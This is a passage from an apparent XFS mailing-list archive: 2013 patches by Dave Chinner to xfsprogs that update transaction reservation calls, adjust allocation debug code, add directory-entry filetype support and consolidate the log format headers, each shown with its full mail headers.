XFS_DEFAULT_PERM_LOG_COUNT))) + tres.tr_logres = BBTOB(128); + tres.tr_logcount = XFS_DEFAULT_PERM_LOG_COUNT; + tres.tr_logflags = XFS_TRANS_PERM_LOG_RES; + error = libxfs_trans_reserve(tp, &tres, mp->m_sb.sb_rbmblocks + + (XFS_BM_MAXLEVELS(mp, XFS_DATA_FORK) - 1), 0); + if (error) res_failed(error); libxfs_trans_ijoin(tp, ip, 0); @@ -798,8 +807,8 @@ mk_root_dir(xfs_mount_t *mp) tp = libxfs_trans_alloc(mp, 0); ip = NULL; - if ((i = libxfs_trans_reserve(tp, 10, XFS_ICHANGE_LOG_RES(mp), 0, - XFS_TRANS_PERM_LOG_RES, XFS_MKDIR_LOG_COUNT))) + i = libxfs_trans_reserve(tp, &M_RES(mp)->tr_ichange, 10, 0); + if (i) res_failed(i); error = libxfs_trans_iget(mp, tp, mp->m_sb.sb_rootino, 0, 0, &ip); @@ -904,8 +913,8 @@ mk_orphanage(xfs_mount_t *mp) xfs_bmap_init(&flist, &first); nres = XFS_MKDIR_SPACE_RES(mp, xname.len); - if ((i = libxfs_trans_reserve(tp, nres, XFS_MKDIR_LOG_RES(mp), 0, - XFS_TRANS_PERM_LOG_RES, XFS_MKDIR_LOG_COUNT))) + i = libxfs_trans_reserve(tp, &M_RES(mp)->tr_mkdir, nres, 0); + if (i) res_failed(i); /* @@ -1041,10 +1050,9 @@ mv_orphanage( if (err) { ASSERT(err == ENOENT); - if ((err = libxfs_trans_reserve(tp, nres, - XFS_RENAME_LOG_RES(mp), 0, - XFS_TRANS_PERM_LOG_RES, - XFS_RENAME_LOG_COUNT))) + err = libxfs_trans_reserve(tp, &M_RES(mp)->tr_rename, + nres, 0); + if (err) do_error( _("space reservation failed (%d), filesystem may be out of space\n"), err); @@ -1085,10 +1093,9 @@ mv_orphanage( libxfs_trans_commit(tp, XFS_TRANS_RELEASE_LOG_RES|XFS_TRANS_SYNC); } else { - if ((err = libxfs_trans_reserve(tp, nres, - XFS_RENAME_LOG_RES(mp), 0, - XFS_TRANS_PERM_LOG_RES, - XFS_RENAME_LOG_COUNT))) + err = libxfs_trans_reserve(tp, &M_RES(mp)->tr_rename, + nres, 0); + if (err) do_error( _("space reservation failed (%d), filesystem may be out of space\n"), err); @@ -1143,8 +1150,8 @@ mv_orphanage( * also accounted for in the create */ nres = XFS_DIRENTER_SPACE_RES(mp, xname.len); - err = libxfs_trans_reserve(tp, nres, XFS_REMOVE_LOG_RES(mp), 0, - XFS_TRANS_PERM_LOG_RES, XFS_REMOVE_LOG_COUNT); + err = libxfs_trans_reserve(tp, &M_RES(mp)->tr_remove, + nres, 0); if (err) do_error( _("space reservation failed (%d), filesystem may be out of space\n"), @@ -1239,8 +1246,7 @@ longform_dir2_rebuild( tp = libxfs_trans_alloc(mp, 0); nres = XFS_REMOVE_SPACE_RES(mp); - error = libxfs_trans_reserve(tp, nres, XFS_REMOVE_LOG_RES(mp), 0, - XFS_TRANS_PERM_LOG_RES, XFS_REMOVE_LOG_COUNT); + error = libxfs_trans_reserve(tp, &M_RES(mp)->tr_remove, nres, 0); if (error) res_failed(error); libxfs_trans_ijoin(tp, ip, 0); @@ -1280,8 +1286,8 @@ longform_dir2_rebuild( tp = libxfs_trans_alloc(mp, 0); nres = XFS_CREATE_SPACE_RES(mp, p->name.len); - error = libxfs_trans_reserve(tp, nres, XFS_CREATE_LOG_RES(mp), - 0, XFS_TRANS_PERM_LOG_RES, XFS_CREATE_LOG_COUNT); + error = libxfs_trans_reserve(tp, &M_RES(mp)->tr_create, + nres, 0); if (error) { do_warn( _("space reservation failed (%d), filesystem may be out of space\n"), @@ -1342,8 +1348,7 @@ dir2_kill_block( tp = libxfs_trans_alloc(mp, 0); nres = XFS_REMOVE_SPACE_RES(mp); - error = libxfs_trans_reserve(tp, nres, XFS_REMOVE_LOG_RES(mp), 0, - XFS_TRANS_PERM_LOG_RES, XFS_REMOVE_LOG_COUNT); + error = libxfs_trans_reserve(tp, &M_RES(mp)->tr_remove, nres, 0); if (error) res_failed(error); libxfs_trans_ijoin(tp, ip, 0); @@ -1531,8 +1536,7 @@ longform_dir2_entry_check_data( freetab->nents = db + 1; tp = libxfs_trans_alloc(mp, 0); - error = libxfs_trans_reserve(tp, 0, XFS_REMOVE_LOG_RES(mp), 0, - XFS_TRANS_PERM_LOG_RES, XFS_REMOVE_LOG_COUNT); + error = libxfs_trans_reserve(tp, &M_RES(mp)->tr_remove, 0, 0); if (error) res_failed(error); libxfs_trans_ijoin(tp, ip, 0); @@ -2589,10 +2593,8 @@ process_dir_inode( * new define in ourselves. */ nres = no_modify ? 0 : XFS_REMOVE_SPACE_RES(mp); - error = libxfs_trans_reserve(tp, nres, - XFS_REMOVE_LOG_RES(mp), 0, - XFS_TRANS_PERM_LOG_RES, - XFS_REMOVE_LOG_COUNT); + error = libxfs_trans_reserve(tp, &M_RES(mp)->tr_remove, + nres, 0); if (error) res_failed(error); @@ -2640,8 +2642,7 @@ process_dir_inode( ASSERT(tp != NULL); nres = XFS_MKDIR_SPACE_RES(mp, 2); - error = libxfs_trans_reserve(tp, nres, XFS_MKDIR_LOG_RES(mp), - 0, XFS_TRANS_PERM_LOG_RES, XFS_MKDIR_LOG_COUNT); + error = libxfs_trans_reserve(tp, &M_RES(mp)->tr_mkdir, nres, 0); if (error) res_failed(error); @@ -2702,12 +2703,8 @@ process_dir_inode( ASSERT(tp != NULL); nres = XFS_MKDIR_SPACE_RES(mp, 1); - error = libxfs_trans_reserve(tp, nres, - XFS_MKDIR_LOG_RES(mp), - 0, - XFS_TRANS_PERM_LOG_RES, - XFS_MKDIR_LOG_COUNT); - + error = libxfs_trans_reserve(tp, &M_RES(mp)->tr_mkdir, + nres, 0); if (error) res_failed(error); diff --git a/repair/phase7.c b/repair/phase7.c index bd1668e..18f2d88 100644 --- a/repair/phase7.c +++ b/repair/phase7.c @@ -68,13 +68,12 @@ update_inode_nlinks( xfs_inode_t *ip; int error; int dirty; + int nres; tp = libxfs_trans_alloc(mp, XFS_TRANS_REMOVE); - error = libxfs_trans_reserve(tp, (no_modify ? 0 : 10), - XFS_REMOVE_LOG_RES(mp), 0, XFS_TRANS_PERM_LOG_RES, - XFS_REMOVE_LOG_COUNT); - + nres = no_modify ? 0 : 10; + error = libxfs_trans_reserve(tp, &M_RES(mp)->tr_remove, nres, 0); ASSERT(error == 0); error = libxfs_trans_iget(mp, tp, ino, 0, 0, &ip); -- 1.8.3.2 From dave@fromorbit.com Fri Jul 19 01:45:56 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 583278053 for ; Fri, 19 Jul 2013 01:45:43 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 482A0304039 for ; Thu, 18 Jul 2013 23:45:43 -0700 (PDT) X-ASG-Debug-ID: 1374216332-04cb6c2a42ed6690007-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id wH5yf3GHCKg9pMVm for ; Thu, 18 Jul 2013 23:45:41 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: ArkLAMLf6FF5LK4r/2dsb2JhbABagwbBRgSBFRd0giQBAQVWMwgYMTkDGxmID7YjjnKBOoNmA6F/hyuDJCo Received: from ppp121-44-174-43.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.43]) by ipmail06.adl6.internode.on.net with ESMTP; 19 Jul 2013 16:15:37 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1V04RT-0004JL-9x for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:45:27 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1V04RT-0002Lw-92 for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:45:27 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 36/49] xfs: kill __KERNEL__ check for debug code in allocation code Date: Fri, 19 Jul 2013 16:45:11 +1000 X-ASG-Orig-Subj: [PATCH 36/49] xfs: kill __KERNEL__ check for debug code in allocation code Message-Id: <1374216324-8781-37-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1374216324-8781-1-git-send-email-david@fromorbit.com> References: <1374216324-8781-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1374216341 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137191 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner Userspace running debug builds is relatively rare, so there's need to special case the allocation algorithm code coverage debug switch. As it is, userspace defines random numbers to 0, so invert the logic of the switch so it is effectively a no-op in userspace. This kills another couple of __KERNEL__ users. Signed-off-by: Dave Chinner --- libxfs/xfs_alloc.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/libxfs/xfs_alloc.c b/libxfs/xfs_alloc.c index 757b43d..e4fb1ad 100644 --- a/libxfs/xfs_alloc.c +++ b/libxfs/xfs_alloc.c @@ -856,7 +856,7 @@ xfs_alloc_ag_vextent_near( xfs_agblock_t ltnew; /* useful start bno of left side */ xfs_extlen_t rlen; /* length of returned extent */ int forced = 0; -#if defined(DEBUG) && defined(__KERNEL__) +#ifdef DEBUG /* * Randomly don't execute the first algorithm. */ @@ -916,8 +916,8 @@ restart: xfs_extlen_t blen=0; xfs_agblock_t bnew=0; -#if defined(DEBUG) && defined(__KERNEL__) - if (!dofirst) +#ifdef DEBUG + if (dofirst) break; #endif /* -- 1.8.3.2 From dave@fromorbit.com Fri Jul 19 01:45:55 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id D3AF2804E for ; Fri, 19 Jul 2013 01:45:42 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 52206AC001 for ; Thu, 18 Jul 2013 23:45:42 -0700 (PDT) X-ASG-Debug-ID: 1374216330-04cbb0468f117d540008-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id YObskts76lgCF1Tj for ; Thu, 18 Jul 2013 23:45:39 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AroLAMLf6FF5LK4r/2dsb2JhbABagwbBRgSBFRd0giQBAQUnLzMIGDE5AxsZiA+2I45yhSADqSqDJCo Received: from ppp121-44-174-43.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.43]) by ipmail06.adl6.internode.on.net with ESMTP; 19 Jul 2013 16:15:35 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1V04RT-0004Ii-Je for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:45:27 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1V04RT-0002Mu-Hm for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:45:27 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 48/49] xfs: Add write support for dirent filetype field Date: Fri, 19 Jul 2013 16:45:23 +1000 X-ASG-Orig-Subj: [PATCH 48/49] xfs: Add write support for dirent filetype field Message-Id: <1374216324-8781-49-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1374216324-8781-1-git-send-email-david@fromorbit.com> References: <1374216324-8781-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1374216339 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137191 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner Add support to propagate and add filetype values into the on-disk directs. This involves passing the filetype into the xfs_da_args structure along with the name and namelength for direct operations, and encoding it into the dirent at the same time we write the inode number into the dirent. Signed-off-by: Dave Chinner --- include/xfs_sb.h | 3 ++- libxfs/xfs_dir2_block.c | 7 +++++++ libxfs/xfs_dir2_data.c | 2 ++ libxfs/xfs_dir2_leaf.c | 3 +++ libxfs/xfs_dir2_node.c | 3 +++ libxfs/xfs_dir2_sf.c | 35 +++++++++++++++++++++++++++-------- 6 files changed, 44 insertions(+), 9 deletions(-) diff --git a/include/xfs_sb.h b/include/xfs_sb.h index c5b1c04..4851137 100644 --- a/include/xfs_sb.h +++ b/include/xfs_sb.h @@ -594,7 +594,8 @@ xfs_sb_has_ro_compat_feature( } #define XFS_SB_FEAT_INCOMPAT_FTYPE (1 << 0) /* filetype in dirent */ -#define XFS_SB_FEAT_INCOMPAT_ALL 0 +#define XFS_SB_FEAT_INCOMPAT_ALL \ + (XFS_SB_FEAT_INCOMPAT_FTYPE) #define XFS_SB_FEAT_INCOMPAT_UNKNOWN ~XFS_SB_FEAT_INCOMPAT_ALL static inline bool diff --git a/libxfs/xfs_dir2_block.c b/libxfs/xfs_dir2_block.c index 615eea9..3e4bc53 100644 --- a/libxfs/xfs_dir2_block.c +++ b/libxfs/xfs_dir2_block.c @@ -530,6 +530,7 @@ xfs_dir2_block_addname( dep->inumber = cpu_to_be64(args->inumber); dep->namelen = args->namelen; memcpy(dep->name, args->name, args->namelen); + xfs_dir3_dirent_put_ftype(mp, dep, args->filetype); tagp = xfs_dir3_data_entry_tag_p(mp, dep); *tagp = cpu_to_be16((char *)dep - (char *)hdr); /* @@ -622,6 +623,7 @@ xfs_dir2_block_lookup( * Fill in inode number, CI name if appropriate, release the block. */ args->inumber = be64_to_cpu(dep->inumber); + args->filetype = xfs_dir3_dirent_get_ftype(mp, dep); error = xfs_dir_cilookup_result(args, dep->name, dep->namelen); xfs_trans_brelse(args->trans, bp); return XFS_ERROR(error); @@ -854,6 +856,7 @@ xfs_dir2_block_replace( * Change the inode number to the new value. */ dep->inumber = cpu_to_be64(args->inumber); + xfs_dir3_dirent_put_ftype(mp, dep, args->filetype); xfs_dir2_data_log_entry(args->trans, bp, dep); xfs_dir3_data_check(dp, bp); return 0; @@ -1140,6 +1143,7 @@ xfs_dir2_sf_to_block( dep->inumber = cpu_to_be64(dp->i_ino); dep->namelen = 1; dep->name[0] = '.'; + xfs_dir3_dirent_put_ftype(mp, dep, XFS_DIR3_FT_DIR); tagp = xfs_dir3_data_entry_tag_p(mp, dep); *tagp = cpu_to_be16((char *)dep - (char *)hdr); xfs_dir2_data_log_entry(tp, bp, dep); @@ -1153,6 +1157,7 @@ xfs_dir2_sf_to_block( dep->inumber = cpu_to_be64(xfs_dir2_sf_get_parent_ino(sfp)); dep->namelen = 2; dep->name[0] = dep->name[1] = '.'; + xfs_dir3_dirent_put_ftype(mp, dep, XFS_DIR3_FT_DIR); tagp = xfs_dir3_data_entry_tag_p(mp, dep); *tagp = cpu_to_be16((char *)dep - (char *)hdr); xfs_dir2_data_log_entry(tp, bp, dep); @@ -1200,6 +1205,8 @@ xfs_dir2_sf_to_block( dep = (xfs_dir2_data_entry_t *)((char *)hdr + newoffset); dep->inumber = cpu_to_be64(xfs_dir3_sfe_get_ino(mp, sfp, sfep)); dep->namelen = sfep->namelen; + xfs_dir3_dirent_put_ftype(mp, dep, + xfs_dir3_sfe_get_ftype(mp, sfp, sfep)); memcpy(dep->name, sfep->name, dep->namelen); tagp = xfs_dir3_data_entry_tag_p(mp, dep); *tagp = cpu_to_be16((char *)dep - (char *)hdr); diff --git a/libxfs/xfs_dir2_data.c b/libxfs/xfs_dir2_data.c index ea9ba91..189699f 100644 --- a/libxfs/xfs_dir2_data.c +++ b/libxfs/xfs_dir2_data.c @@ -133,6 +133,8 @@ __xfs_dir3_data_check( XFS_WANT_CORRUPTED_RETURN( be16_to_cpu(*xfs_dir3_data_entry_tag_p(mp, dep)) == (char *)dep - (char *)hdr); + XFS_WANT_CORRUPTED_RETURN( + xfs_dir3_dirent_get_ftype(mp, dep) < XFS_DIR3_FT_MAX); count++; lastfree = 0; if (hdr->magic == cpu_to_be32(XFS_DIR2_BLOCK_MAGIC) || diff --git a/libxfs/xfs_dir2_leaf.c b/libxfs/xfs_dir2_leaf.c index 04ad083..7ec2f19 100644 --- a/libxfs/xfs_dir2_leaf.c +++ b/libxfs/xfs_dir2_leaf.c @@ -878,6 +878,7 @@ xfs_dir2_leaf_addname( dep->inumber = cpu_to_be64(args->inumber); dep->namelen = args->namelen; memcpy(dep->name, args->name, dep->namelen); + xfs_dir3_dirent_put_ftype(mp, dep, args->filetype); tagp = xfs_dir3_data_entry_tag_p(mp, dep); *tagp = cpu_to_be16((char *)dep - (char *)hdr); /* @@ -1207,6 +1208,7 @@ xfs_dir2_leaf_lookup( * Return the found inode number & CI name if appropriate */ args->inumber = be64_to_cpu(dep->inumber); + args->filetype = xfs_dir3_dirent_get_ftype(dp->i_mount, dep); error = xfs_dir_cilookup_result(args, dep->name, dep->namelen); xfs_trans_brelse(tp, dbp); xfs_trans_brelse(tp, lbp); @@ -1537,6 +1539,7 @@ xfs_dir2_leaf_replace( * Put the new inode number in, log it. */ dep->inumber = cpu_to_be64(args->inumber); + xfs_dir3_dirent_put_ftype(dp->i_mount, dep, args->filetype); tp = args->trans; xfs_dir2_data_log_entry(tp, dbp, dep); xfs_dir3_leaf_check(dp->i_mount, lbp); diff --git a/libxfs/xfs_dir2_node.c b/libxfs/xfs_dir2_node.c index 5b118d5..10d1d81 100644 --- a/libxfs/xfs_dir2_node.c +++ b/libxfs/xfs_dir2_node.c @@ -798,6 +798,7 @@ xfs_dir2_leafn_lookup_for_entry( xfs_trans_brelse(tp, state->extrablk.bp); args->cmpresult = cmp; args->inumber = be64_to_cpu(dep->inumber); + args->filetype = xfs_dir3_dirent_get_ftype(mp, dep); *indexp = index; state->extravalid = 1; state->extrablk.bp = curbp; @@ -1989,6 +1990,7 @@ xfs_dir2_node_addname_int( dep->inumber = cpu_to_be64(args->inumber); dep->namelen = args->namelen; memcpy(dep->name, args->name, dep->namelen); + xfs_dir3_dirent_put_ftype(mp, dep, args->filetype); tagp = xfs_dir3_data_entry_tag_p(mp, dep); *tagp = cpu_to_be16((char *)dep - (char *)hdr); xfs_dir2_data_log_entry(tp, dbp, dep); @@ -2209,6 +2211,7 @@ xfs_dir2_node_replace( * Fill in the new inode number and log the entry. */ dep->inumber = cpu_to_be64(inum); + xfs_dir3_dirent_put_ftype(state->mp, dep, args->filetype); xfs_dir2_data_log_entry(args->trans, state->extrablk.bp, dep); rval = 0; } diff --git a/libxfs/xfs_dir2_sf.c b/libxfs/xfs_dir2_sf.c index 2791d99..740cab0 100644 --- a/libxfs/xfs_dir2_sf.c +++ b/libxfs/xfs_dir2_sf.c @@ -316,6 +316,8 @@ xfs_dir2_block_to_sf( memcpy(sfep->name, dep->name, dep->namelen); xfs_dir3_sfe_put_ino(mp, sfp, sfep, be64_to_cpu(dep->inumber)); + xfs_dir3_sfe_put_ftype(mp, sfp, sfep, + xfs_dir3_dirent_get_ftype(mp, dep)); sfep = xfs_dir3_sf_nextentry(mp, sfp, sfep); } @@ -479,6 +481,8 @@ xfs_dir2_sf_addname_easy( xfs_dir2_sf_put_offset(sfep, offset); memcpy(sfep->name, args->name, sfep->namelen); xfs_dir3_sfe_put_ino(dp->i_mount, sfp, sfep, args->inumber); + xfs_dir3_sfe_put_ftype(dp->i_mount, sfp, sfep, args->filetype); + /* * Update the header and inode. */ @@ -572,6 +576,7 @@ xfs_dir2_sf_addname_hard( xfs_dir2_sf_put_offset(sfep, offset); memcpy(sfep->name, args->name, sfep->namelen); xfs_dir3_sfe_put_ino(mp, sfp, sfep, args->inumber); + xfs_dir3_sfe_put_ftype(mp, sfp, sfep, args->filetype); sfp->count++; #if XFS_BIG_INUMS if (args->inumber > XFS_DIR2_MAX_SHORT_INUM && !objchange) @@ -808,6 +813,7 @@ xfs_dir2_sf_lookup( if (args->namelen == 1 && args->name[0] == '.') { args->inumber = dp->i_ino; args->cmpresult = XFS_CMP_EXACT; + args->filetype = XFS_DIR3_FT_DIR; return XFS_ERROR(EEXIST); } /* @@ -817,6 +823,7 @@ xfs_dir2_sf_lookup( args->name[0] == '.' && args->name[1] == '.') { args->inumber = xfs_dir2_sf_get_parent_ino(sfp); args->cmpresult = XFS_CMP_EXACT; + args->filetype = XFS_DIR3_FT_DIR; return XFS_ERROR(EEXIST); } /* @@ -836,6 +843,8 @@ xfs_dir2_sf_lookup( args->cmpresult = cmp; args->inumber = xfs_dir3_sfe_get_ino(dp->i_mount, sfp, sfep); + args->filetype = xfs_dir3_sfe_get_ftype(dp->i_mount, + sfp, sfep); if (cmp == XFS_CMP_EXACT) return XFS_ERROR(EEXIST); ci_sfep = sfep; @@ -1035,6 +1044,8 @@ xfs_dir2_sf_replace( #endif xfs_dir3_sfe_put_ino(dp->i_mount, sfp, sfep, args->inumber); + xfs_dir3_sfe_put_ftype(dp->i_mount, sfp, sfep, + args->filetype); break; } } @@ -1101,10 +1112,12 @@ xfs_dir2_sf_toino4( int oldsize; /* old inode size */ xfs_dir2_sf_entry_t *sfep; /* new sf entry */ xfs_dir2_sf_hdr_t *sfp; /* new sf directory */ + struct xfs_mount *mp; trace_xfs_dir2_sf_toino4(args); dp = args->dp; + mp = dp->i_mount; /* * Copy the old directory to the buffer. @@ -1142,13 +1155,15 @@ xfs_dir2_sf_toino4( for (i = 0, sfep = xfs_dir2_sf_firstentry(sfp), oldsfep = xfs_dir2_sf_firstentry(oldsfp); i < sfp->count; - i++, sfep = xfs_dir3_sf_nextentry(dp->i_mount, sfp, sfep), - oldsfep = xfs_dir3_sf_nextentry(dp->i_mount, oldsfp, oldsfep)) { + i++, sfep = xfs_dir3_sf_nextentry(mp, sfp, sfep), + oldsfep = xfs_dir3_sf_nextentry(mp, oldsfp, oldsfep)) { sfep->namelen = oldsfep->namelen; sfep->offset = oldsfep->offset; memcpy(sfep->name, oldsfep->name, sfep->namelen); - xfs_dir3_sfe_put_ino(dp->i_mount, sfp, sfep, - xfs_dir3_sfe_get_ino(dp->i_mount, oldsfp, oldsfep)); + xfs_dir3_sfe_put_ino(mp, sfp, sfep, + xfs_dir3_sfe_get_ino(mp, oldsfp, oldsfep)); + xfs_dir3_sfe_put_ftype(mp, sfp, sfep, + xfs_dir3_sfe_get_ftype(mp, oldsfp, oldsfep)); } /* * Clean up the inode. @@ -1176,10 +1191,12 @@ xfs_dir2_sf_toino8( int oldsize; /* old inode size */ xfs_dir2_sf_entry_t *sfep; /* new sf entry */ xfs_dir2_sf_hdr_t *sfp; /* new sf directory */ + struct xfs_mount *mp; trace_xfs_dir2_sf_toino8(args); dp = args->dp; + mp = dp->i_mount; /* * Copy the old directory to the buffer. @@ -1217,13 +1234,15 @@ xfs_dir2_sf_toino8( for (i = 0, sfep = xfs_dir2_sf_firstentry(sfp), oldsfep = xfs_dir2_sf_firstentry(oldsfp); i < sfp->count; - i++, sfep = xfs_dir3_sf_nextentry(dp->i_mount, sfp, sfep), - oldsfep = xfs_dir3_sf_nextentry(dp->i_mount, oldsfp, oldsfep)) { + i++, sfep = xfs_dir3_sf_nextentry(mp, sfp, sfep), + oldsfep = xfs_dir3_sf_nextentry(mp, oldsfp, oldsfep)) { sfep->namelen = oldsfep->namelen; sfep->offset = oldsfep->offset; memcpy(sfep->name, oldsfep->name, sfep->namelen); - xfs_dir3_sfe_put_ino(dp->i_mount, sfp, sfep, - xfs_dir3_sfe_get_ino(dp->i_mount, oldsfp, oldsfep)); + xfs_dir3_sfe_put_ino(mp, sfp, sfep, + xfs_dir3_sfe_get_ino(mp, oldsfp, oldsfep)); + xfs_dir3_sfe_put_ftype(mp, sfp, sfep, + xfs_dir3_sfe_get_ftype(mp, oldsfp, oldsfep)); } /* * Clean up the inode. -- 1.8.3.2 From dave@fromorbit.com Fri Jul 19 01:45:58 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 5687A8024 for ; Fri, 19 Jul 2013 01:45:46 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 38E748F8033 for ; Thu, 18 Jul 2013 23:45:46 -0700 (PDT) X-ASG-Debug-ID: 1374216330-04cbb0468f117d54000a-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id ONwtX8u0PDq92Qzk for ; Thu, 18 Jul 2013 23:45:42 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AroLAMLf6FF5LK4r/2dsb2JhbABagwbBRgSBFRd0giQBAQUaAQwvMwgYMTkDGxAJiA+2I45XAQYJC4UgA5QGlSSDJCqBLAEf Received: from ppp121-44-174-43.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.43]) by ipmail06.adl6.internode.on.net with ESMTP; 19 Jul 2013 16:15:31 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1V04RS-0004IW-SU for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:45:26 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1V04RS-0002KK-RS for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:45:26 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 16/49] xfs: separate out log format definitions Date: Fri, 19 Jul 2013 16:44:51 +1000 X-ASG-Orig-Subj: [PATCH 16/49] xfs: separate out log format definitions Message-Id: <1374216324-8781-17-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1374216324-8781-1-git-send-email-david@fromorbit.com> References: <1374216324-8781-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1374216342 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137191 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner The on-disk format definitions for the log are spread randoms through a couple of header files. Consolidate it all in a single file that can be shared easily with userspace. This means that xfs_log.h and xfs_log_priv.h no longer need to be shared with userspace. Signed-off-by: Dave Chinner --- include/Makefile | 4 +- include/libxfs.h | 4 +- include/libxlog.h | 6 - include/xfs_log.h | 190 ------------- include/xfs_log_format.h | 178 ++++++++++++ include/xfs_log_priv.h | 692 ---------------------------------------------- libxfs/rdwr.c | 2 - libxlog/xfs_log_recover.c | 3 + 8 files changed, 186 insertions(+), 893 deletions(-) delete mode 100644 include/xfs_log.h create mode 100644 include/xfs_log_format.h delete mode 100644 include/xfs_log_priv.h diff --git a/include/Makefile b/include/Makefile index ba2c80d..efa3275 100644 --- a/include/Makefile +++ b/include/Makefile @@ -27,7 +27,9 @@ QAHFILES = libxfs.h libxlog.h \ xfs_dinode.h xfs_dir2.h xfs_dir2_format.h \ xfs_extfree_item.h xfs_ialloc.h xfs_ialloc_btree.h \ xfs_icreate_item.h xfs_inode.h xfs_inode_item.h xfs_inum.h \ - xfs_log.h xfs_log_priv.h xfs_log_recover.h xfs_metadump.h \ + xfs_log_format.h \ + xfs_log_recover.h \ + 